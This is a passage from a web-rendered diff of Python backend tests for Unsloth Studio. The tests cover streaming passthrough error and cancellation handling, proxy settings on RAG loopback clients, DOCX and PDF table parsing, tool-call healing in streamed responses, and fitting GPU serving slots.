async def fake_send(*_args, **_kwargs):
await gate.wait()
return httpx.Response(400, content = b'{"error":"bad"}')
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
gate.set()
chunks = [
chunk.decode() if isinstance(chunk, bytes) else chunk
async for chunk in response.body_iterator
]
body = "".join(chunks)
assert "data:" in body
assert '"error"' in body
[entry] = monitor.snapshot()
assert entry["status"] == "error"
assert "bad" in entry["error"]
asyncio.run(_run())
def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope(
self, monkeypatch
):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)"
async def fake_send(*_args, **_kwargs):
await gate.wait()
return httpx.Response(400, content = ctx_msg.encode("utf-8"))
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 2048,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
gate.set()
chunks = [
chunk.decode() if isinstance(chunk, bytes) else chunk
async for chunk in response.body_iterator
]
body = "".join(chunks)
payload = json.loads(body.removeprefix("data: ").strip())
assert payload["error"]["code"] == "context_length_exceeded"
assert payload["error"]["param"] == "messages"
assert isinstance(payload["error"], dict)
asyncio.run(_run())
def test_passthrough_stream_preheader_delayed_context_error_retries_truncation(
self, monkeypatch
):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
calls = []
err_body = json.dumps(
{
"error": {
"message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
"n_prompt_tokens": 10000,
"n_ctx": 2048,
}
}
).encode("utf-8")
async def fake_send(_client, req, *_args, **_kwargs):
calls.append(json.loads(req.content.decode("utf-8")))
if len(calls) == 1:
await gate.wait()
return httpx.Response(400, content = err_body)
return httpx.Response(200, content = b"")
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
messages = [
ChatMessage(role = "system", content = "system"),
*[
ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
for idx in range(8)
],
]
payload = ChatCompletionRequest(
model = "default",
messages = messages,
stream = True,
context_overflow = "truncate_middle",
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 2048,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
gate.set()
chunks = [
chunk.decode() if isinstance(chunk, bytes) else chunk
async for chunk in response.body_iterator
]
assert "data: [DONE]\n\n" in "".join(chunks)
assert len(calls) == 2
assert len(calls[1]["messages"]) < len(calls[0]["messages"])
[entry] = monitor.snapshot()
assert entry["status"] == "completed"
asyncio.run(_run())
def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
cancel_id = "delayed-request-error-cancel"
async def fake_send(*_args, **_kwargs):
await gate.wait()
raise httpx.ConnectError("delayed connectivity issue")
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
cancel_id = cancel_id,
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
assert cancel_id in inf_mod._CANCEL_REGISTRY
gate.set()
chunks = [
chunk.decode() if isinstance(chunk, bytes) else chunk
async for chunk in response.body_iterator
]
body = "".join(chunks)
assert "data:" in body
assert '"error"' in body
[entry] = monitor.snapshot()
assert entry["status"] == "error"
assert "Lost connection" in entry["error"]
assert cancel_id not in inf_mod._CANCEL_REGISTRY
asyncio.run(_run())
def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
entered = asyncio.Event()
cancelled = asyncio.Event()
cancel_id = "preheader-cancel-cleanup"
async def fake_send(*_args, **_kwargs):
entered.set()
try:
await asyncio.Event().wait()
except asyncio.CancelledError:
cancelled.set()
raise
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
cancel_id = cancel_id,
)
task = asyncio.create_task(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
)
)
await asyncio.wait_for(entered.wait(), timeout = 0.2)
assert cancel_id in inf_mod._CANCEL_REGISTRY
task.cancel()
with pytest.raises(asyncio.CancelledError):
await task
await asyncio.wait_for(cancelled.wait(), timeout = 0.2)
assert cancel_id not in inf_mod._CANCEL_REGISTRY
asyncio.run(_run())
def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
returned = asyncio.Event()
cancel_id = "unstarted-completed-send-cleanup"
class Stream(httpx.AsyncByteStream):
async def __aiter__(self):
if False:
yield b""
stream = Stream()
upstream_response = httpx.Response(200, stream = stream)
async def fake_send(*_args, **_kwargs):
await gate.wait()
returned.set()
return upstream_response
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
cancel_id = cancel_id,
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
assert cancel_id in inf_mod._CANCEL_REGISTRY
gate.set()
await asyncio.wait_for(returned.wait(), timeout = 0.2)
await asyncio.sleep(0)
await response._unstarted_cleanup()
assert upstream_response.is_closed
assert cancel_id not in inf_mod._CANCEL_REGISTRY
asyncio.run(_run())
def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
async def _run():
import routes.inference as inf_mod

1358
studio/backend/tests/test_passthrough_healing.py Normal file
View file

File diff suppressed because it is too large Load diff

9
studio/backend/tests/test_rag_captioning.py
View file

@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch):
def json(self):
return {"choices": [{"message": {"content": "ok"}}]}
def fake_post(url, *, json, timeout, headers):
captured.update(url = url, headers = headers)
def fake_post(url, *, json, timeout, headers, trust_env):
captured.update(url = url, headers = headers, trust_env = trust_env)
return _Resp()
monkeypatch.setattr(httpx, "post", fake_post)
@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch):
)
assert out == "ok"
assert captured["headers"] == {"Authorization": "Bearer secret"}
assert captured["trust_env"] is False
def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
def json(self):
return {"choices": [{"message": {"content": "ok"}}]}
def fake_post(url, *, json, timeout, headers):
def fake_post(url, *, json, timeout, headers, trust_env):
captured["headers"] = headers
captured["trust_env"] = trust_env
return _Resp()
monkeypatch.setattr(httpx, "post", fake_post)
captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8)
assert captured["headers"] is None
assert captured["trust_env"] is False
def test_merge_page_captions_dedups():

2
studio/backend/tests/test_rag_embed_llama_server.py
View file

@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch):
def fake_spawn():
spawned["n"] += 1
b._process = _FakeProc(alive = True)
# _current() now also checks the served repo, so mark it current.
b._model_repo = config.effective_gguf_repo()
monkeypatch.setattr(b, "_spawn", fake_spawn)
b._ensure_ready()

52
studio/backend/tests/test_rag_loopback_trust_env.py Normal file
View file

@ -0,0 +1,52 @@
"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG
package (all target the local 127.0.0.1 llama-server) must set trust_env=False."""
import ast
import os
RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag")
HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"}
def _httpx_calls(path):
with open(path, encoding = "utf-8") as f:
tree = ast.parse(f.read(), filename = path)
calls = []
for node in ast.walk(tree):
if not isinstance(node, ast.Call):
continue
func = node.func
if (
isinstance(func, ast.Attribute)
and func.attr in HTTPX_CALLEES
and isinstance(func.value, ast.Name)
and func.value.id == "httpx"
):
calls.append(node)
return calls
def _sets_trust_env_false(call):
for kw in call.keywords:
if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False:
return True
return False
def test_rag_loopback_httpx_clients_disable_trust_env():
# Scan every .py in the package so a new file with an httpx call can't bypass this.
checked = 0
for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")):
path = os.path.join(RAG_DIR, fname)
for call in _httpx_calls(path):
checked += 1
assert _sets_trust_env_false(call), (
f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False "
f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)"
)
assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}"
if __name__ == "__main__":
test_rag_loopback_httpx_clients_disable_trust_env()
print("OK: all RAG loopback httpx clients set trust_env=False")

209
studio/backend/tests/test_rag_parsing.py
View file

@ -86,3 +86,212 @@ def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch):
_table_pdf(pdf)
pages = parsers.parse(str(pdf))
assert pages and "Quarter" in pages[0].text
def _long_text_pdf(path):
import pymupdf
doc = pymupdf.open()
page = doc.new_page()
body = "The quick brown fox jumps over the lazy dog. " * 12 # >200 letters
page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11)
doc.save(str(path))
doc.close()
def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch):
# pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser
# detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown.
from core.rag import config, parsers
monkeypatch.setattr(config, "PDF_MARKDOWN", True)
shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20 # heavy shaped forms
monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count)
pdf = tmp_path / "table.pdf"
_table_pdf(pdf)
text = "\n".join(p.text for p in parsers.parse(str(pdf)))
assert "Quarter" in text # real logical-order text recovered
assert not parsers._markdown_corrupted(text) # shaped garbage not carried through
def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch):
# If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer.
from core.rag import config, parsers
monkeypatch.setattr(config, "PDF_MARKDOWN", True)
monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count)
pdf = tmp_path / "long.pdf"
_long_text_pdf(pdf)
text = "\n".join(p.text for p in parsers.parse(str(pdf)))
assert "quick brown fox" in text # fuller raw layer used, not the near-empty Markdown
def _docx_with_table(path):
import docx
document = docx.Document()
document.add_paragraph("Intro before table.")
table = document.add_table(rows = 2, cols = 2)
table.cell(0, 0).text = "NAME"
table.cell(0, 1).text = "SCORE"
table.cell(1, 0).text = "Alice"
table.cell(1, 1).text = "97pts"
document.add_paragraph("Outro after table.")
document.save(str(path))
def test_docx_extracts_table_cells(tmp_path):
# document.paragraphs alone drops tables; the parser walks body content in order so
# table cells survive (pipe-joined, which the preview locator anchors on).
pytest.importorskip("docx")
from core.rag import parsers
docx_path = tmp_path / "t.docx"
_docx_with_table(docx_path)
text = "\n".join(p.text for p in parsers.parse(str(docx_path)))
assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts")) # cells kept
assert "Alice | 97pts" in text # row cells joined
assert text.index("Intro") < text.index("NAME") < text.index("Outro") # order kept
def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path):
# Empty cells are kept (so columns stay aligned across rows) and a cell's internal
# newlines are collapsed to spaces (so a multi-paragraph cell can't break the row).
pytest.importorskip("docx")
import docx
from core.rag import parsers
document = docx.Document()
table = document.add_table(rows = 2, cols = 3)
table.cell(0, 0).text = "A"
table.cell(0, 1).text = "" # empty middle cell
table.cell(0, 2).text = "C"
multiline = table.cell(1, 0)
multiline.text = "line1"
multiline.add_paragraph("line2") # cell now holds an internal newline
table.cell(1, 1).text = "mid"
table.cell(1, 2).text = "end"
path = tmp_path / "aligned.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert "A | | C" in text # empty cell preserved -> columns line up
assert "line1 line2 | mid | end" in text # internal newline collapsed to a space
def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path):
# A horizontally merged cell repeats across the spanned columns: emit its text once
# then a placeholder, so the row keeps as many fields as its siblings (columns stay
# aligned) without duplicating the merged text.
pytest.importorskip("docx")
import docx
from core.rag import parsers
document = docx.Document()
table = document.add_table(rows = 2, cols = 3)
table.cell(0, 0).text = "WIDE"
table.cell(0, 2).text = "END"
table.cell(0, 0).merge(table.cell(0, 1)) # span the first two columns
table.cell(1, 0).text = "a"
table.cell(1, 1).text = "b"
table.cell(1, 2).text = "c"
path = tmp_path / "merged.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert text.count("WIDE") == 1 # merged cell not duplicated across spanned columns
assert "WIDE | | END" in text # placeholder keeps 3 fields, aligned with "a | b | c"
assert "a | b | c" in text
def test_docx_table_pads_omitted_grid_columns(tmp_path):
# A row that skips leading grid columns exposes the gap via grid_cols_before; pad it
# with empty fields so the value stays under the right header instead of shifting left.
pytest.importorskip("docx")
import docx
from docx.oxml.ns import qn
from core.rag import parsers
document = docx.Document()
table = document.add_table(rows = 2, cols = 3)
table.cell(0, 0).text = "H1"
table.cell(0, 1).text = "H2"
table.cell(0, 2).text = "H3"
tr = table.rows[1]._tr # drop the first cell and mark it skipped via <w:gridBefore>
tr.remove(tr.tc_lst[0])
trPr = tr.get_or_add_trPr()
trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"}))
table.rows[1].cells[0].text = "X" # sits in column 2
path = tmp_path / "gap.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert " | X | " in text # leading gap padded so X lines up under H2, not H1
def test_docx_flattens_nested_table(tmp_path):
# cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are
# not silently dropped from the indexed text.
pytest.importorskip("docx")
import docx
from core.rag import parsers
document = docx.Document()
outer = document.add_table(rows = 1, cols = 1).cell(0, 0)
outer.text = "outer"
nested = outer.add_table(rows = 1, cols = 2)
nested.cell(0, 0).text = "NESTED-A"
nested.cell(0, 1).text = "NESTED-B"
path = tmp_path / "nested.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert "NESTED-A | NESTED-B" in text # nested table flattened, not dropped
def test_docx_nested_table_keeps_in_cell_order(tmp_path):
# A cell holding paragraph, nested table, paragraph must serialize in that order
# (cell.text alone would emit both paragraphs before the nested rows).
pytest.importorskip("docx")
import docx
from core.rag import parsers
document = docx.Document()
cell = document.add_table(rows = 1, cols = 1).cell(0, 0)
cell.text = "before"
nested = cell.add_table(rows = 1, cols = 2)
nested.cell(0, 0).text = "NESTED-A"
nested.cell(0, 1).text = "NESTED-B"
cell.add_paragraph("after")
path = tmp_path / "nested_order.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert text.index("before") < text.index("NESTED-A") < text.index("after")
def test_docx_table_vertical_merge_emitted_once(tmp_path):
# A vertically merged cell maps every continuation row back to the origin <w:tc>;
# emit it once and leave placeholders below so a row-spanning label isn't repeated.
pytest.importorskip("docx")
import docx
from core.rag import parsers
document = docx.Document()
table = document.add_table(rows = 3, cols = 2)
table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION"
table.cell(0, 1).text = "r0"
table.cell(1, 1).text = "r1"
table.cell(2, 1).text = "r2"
path = tmp_path / "vmerge.docx"
document.save(str(path))
text = "\n".join(p.text for p in parsers.parse(str(path)))
assert text.count("SECTION") == 1 # not repeated on each spanned row
assert "SECTION | r0" in text and " | r1" in text and " | r2" in text

174
studio/backend/tests/test_responses_tool_passthrough.py
View file

@ -1986,3 +1986,177 @@ class TestTranslatedMessagesValidate:
msgs = _normalise_responses_input(payload)
for m in msgs:
ChatMessage(**m.model_dump(exclude_none = True))
# =====================================================================
# Streaming passthrough healing — text-form calls promoted in order
# =====================================================================
class TestResponsesStreamHealing:
"""Route-level healing on the /v1/responses stream: text-form tool calls
are promoted through the same per-call item state machinery as structured
deltas, and healer events keep their order (text around a healed call must
not move relative to the function_call item)."""
_XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
_TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}}
@staticmethod
def _ordered_events(lines):
events = []
for line in lines:
if not line.startswith("event: "):
continue
name, _, rest = line.partition("\n")
payload = json.loads(rest.split("data: ", 1)[1].strip())
events.append((name[len("event: ") :], payload))
return events
def _run_stream(self, monkeypatch, content, **payload_kwargs):
TestResponsesStreamAdapter._install_stream_mock(
monkeypatch, [{"choices": [{"delta": {"content": content}}]}]
)
payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs)
messages = [ChatMessage(role = "user", content = "hi")]
async def run():
response = await _responses_stream(
payload, messages, TestResponsesStreamAdapter._Request()
)
return await TestResponsesStreamAdapter._collect(response)
return self._ordered_events(asyncio.run(run()))
def test_text_around_healed_call_keeps_order(self, monkeypatch):
events = self._run_stream(monkeypatch, f"before {self._XML} after.")
pos_before = pos_item = pos_after = None
for i, (name, payload) in enumerate(events):
if name == "response.output_text.delta":
if "before" in payload["delta"] and pos_before is None:
pos_before = i
if "after" in payload["delta"]:
pos_after = i
if (
name == "response.output_item.added"
and payload["item"]["type"] == "function_call"
and pos_item is None
):
pos_item = i
assert payload["item"]["name"] == "lookup"
assert pos_before is not None and pos_item is not None and pos_after is not None
assert pos_before < pos_item < pos_after
def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch):
events = self._run_stream(monkeypatch, f"{self._XML} done.")
item_added = [
(name, payload) for name, payload in events if name == "response.output_item.added"
]
# The call came first in the model output, so its item is added first
# and claims the lower output_index; the trailing text's message item
# follows.
assert [payload["item"]["type"] for _, payload in item_added] == [
"function_call",
"message",
]
call_idx = item_added[0][1]["output_index"]
msg_idx = item_added[1][1]["output_index"]
assert call_idx < msg_idx
text = "".join(
payload["delta"] for name, payload in events if name == "response.output_text.delta"
)
assert "done." in text
assert "<tool_call>" not in text
def test_tool_choice_none_streams_raw_text(self, monkeypatch):
events = self._run_stream(monkeypatch, self._XML, tool_choice = "none")
assert not any(
payload["item"]["type"] == "function_call"
for name, payload in events
if name == "response.output_item.added"
)
text = "".join(
payload["delta"] for name, payload in events if name == "response.output_text.delta"
)
assert text == self._XML
def test_healed_call_splits_message_items(self, monkeypatch):
# Text on both sides of a healed call becomes TWO message items: the
# healed function_call closes the first, trailing text opens a fresh
# one with a later output index (native Responses stream shape).
events = self._run_stream(monkeypatch, f"before {self._XML} after.")
added = [
(payload["output_index"], payload["item"]["type"], payload["item"].get("id"))
for name, payload in events
if name == "response.output_item.added"
]
assert [item_type for _, item_type, _ in added] == [
"message",
"function_call",
"message",
]
assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added)
assert added[0][2] != added[2][2] # distinct message item ids
# Text deltas attribute to their OWN message item.
deltas = [
(payload["item_id"], payload["delta"])
for name, payload in events
if name == "response.output_text.delta"
]
assert [d for i, d in deltas if i == added[0][2]] == ["before "]
assert [d for i, d in deltas if i == added[2][2]] == [" after."]
# The completed snapshot lists all three items with per-item text.
completed = [payload for name, payload in events if name == "response.completed"]
output = completed[0]["response"]["output"]
assert [item["type"] for item in output] == ["message", "function_call", "message"]
assert output[0]["content"][0]["text"] == "before "
assert output[2]["content"][0]["text"] == " after."
def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
# parallel_tool_calls=false: a healed call consumed the single allowed
# slot; a later native structured call (index 0, so it survives
# _drop_parallel_tool_call_deltas) must not open a second
# function_call item.
TestResponsesStreamAdapter._install_stream_mock(
monkeypatch,
[
{"choices": [{"delta": {"content": self._XML}}]},
{
"choices": [
{
"delta": {
"tool_calls": [
{
"index": 0,
"id": "call_up",
"function": {"name": "lookup", "arguments": "{}"},
}
]
}
}
]
},
],
)
payload = ResponsesRequest(
input = "hi",
stream = True,
tools = [self._TOOL],
parallel_tool_calls = False,
)
messages = [ChatMessage(role = "user", content = "hi")]
async def run():
response = await _responses_stream(
payload, messages, TestResponsesStreamAdapter._Request()
)
return await TestResponsesStreamAdapter._collect(response)
events = self._ordered_events(asyncio.run(run()))
calls = [
payload
for name, payload in events
if name == "response.output_item.added" and payload["item"]["type"] == "function_call"
]
assert len(calls) == 1
assert calls[0]["item"]["name"] == "lookup"

115
studio/backend/tests/test_slot_offload_fit.py Normal file
View file

@ -0,0 +1,115 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`).
When a pinned context does not fit at the requested `--parallel` slot count, Studio would
flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x
(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the
largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with
synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic
is asserted directly (no GPU, network, or subprocess).
"""
from __future__ import annotations
import sys
import types as _types
from pathlib import Path
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
_loggers_stub = _types.ModuleType("loggers")
_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
sys.modules.setdefault("loggers", _loggers_stub)
from core.inference.llama_cpp import LlamaCppBackend
MIB = 1024 * 1024
CTX = 90624
FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION # 0.97; usable = free - 0.03*total
def _backend(
vocab = 248320,
embd = 5120,
kv_fixed_mib = 0,
):
"""Backend with the dims the compute buffer reads; KV mocked to a fixed size so the
only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15)."""
b = LlamaCppBackend.__new__(LlamaCppBackend)
b._vocab_size = vocab
b._embedding_length = embd
b._key_length_mla = None
b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB
b._can_estimate_kv = lambda: True
return b
def _run(
b,
n_parallel,
base_mib,
gpus,
total_by_idx,
overhead_mib = 0,
):
return b._slots_that_fit_on_gpu(
n_parallel,
CTX,
gpus,
total_by_idx,
int(base_mib * MIB),
"q8_0",
FRAC,
int(overhead_mib * MIB),
1,
512,
)
class TestSlotsThatFitOnGpu:
"""Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162,
cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB."""
def test_reduces_to_largest_fitting_slot(self):
# base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU.
gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576})
assert use_fit is False and gi == [0] and slots == 3
def test_floor_when_only_one_slot_fits(self):
# base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1.
gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576})
assert use_fit is False and gi == [0] and slots == 1
def test_none_fit_stays_offload(self):
# Even a single slot (24046) exceeds usable -> genuine offload, unchanged.
gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576})
assert use_fit is True and gi is None and slots == 4
def test_roomy_would_keep_all_but_helper_only_reduces(self):
# On a roomy card par4 fits, so load_model never calls this helper; if called it
# still only searches < n_parallel and never raises the count above the request.
gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000})
assert use_fit is False and slots == 3 and slots < 4
def test_single_slot_request_is_noop(self):
# n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged.
gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576})
assert use_fit is True and gi is None and slots == 1
def test_multi_gpu_reduces_across_devices(self):
# Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919)
# over, par3 (47362) fits across both -> 3 slots spanning [0, 1].
gi, use_fit, slots = _run(
_backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576}
)
assert use_fit is False and gi == [0, 1] and slots == 3
def test_kv_counted_per_candidate(self):
# A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and
# base 19500 (= 22500 total at par-independent terms) the same par3 fit holds.
gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576})
assert use_fit is False and slots == 3

41
studio/backend/tests/test_startup_banner_loopback.py
View file

@ -5,6 +5,9 @@
only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP)
must show its real address."""
import io
import sys
import pytest
from startup_banner import print_studio_access_banner
@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys):
def test_alias_loopback_shows_canned_url(capsys, host):
print_studio_access_banner(port = 8891, bind_host = host, display_host = host)
assert "http://127.0.0.1:8891" in capsys.readouterr().out
def test_banner_prints_on_strict_cp1252_stdout(monkeypatch):
buf = io.BytesIO()
stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict")
monkeypatch.setattr(sys, "stdout", stdout)
print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
stdout.flush()
out = buf.getvalue().decode("cp1252")
assert "? Unsloth Studio is running" in out
def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch):
class InvalidEncodingStdout:
encoding = "not-a-real-codec"
def __init__(self):
self.buf = io.BytesIO()
self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict")
def write(self, text):
return self.inner.write(text)
def flush(self):
return self.inner.flush()
def getvalue(self):
self.flush()
return self.buf.getvalue().decode("cp1252")
stdout = InvalidEncodingStdout()
monkeypatch.setattr(sys, "stdout", stdout)
print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
assert "? Unsloth Studio is running" in stdout.getvalue()

79
studio/backend/tests/test_tensor_parallel.py
View file

@ -746,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model():
b, (ec, mac, gi, ts) = _plan(50)
reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
assert gi == [0, 1]
# split weighted by (usable - buffer); with no totals usable is free*frac
# split weighted by (usable - flat buffer - per-device context compute); with
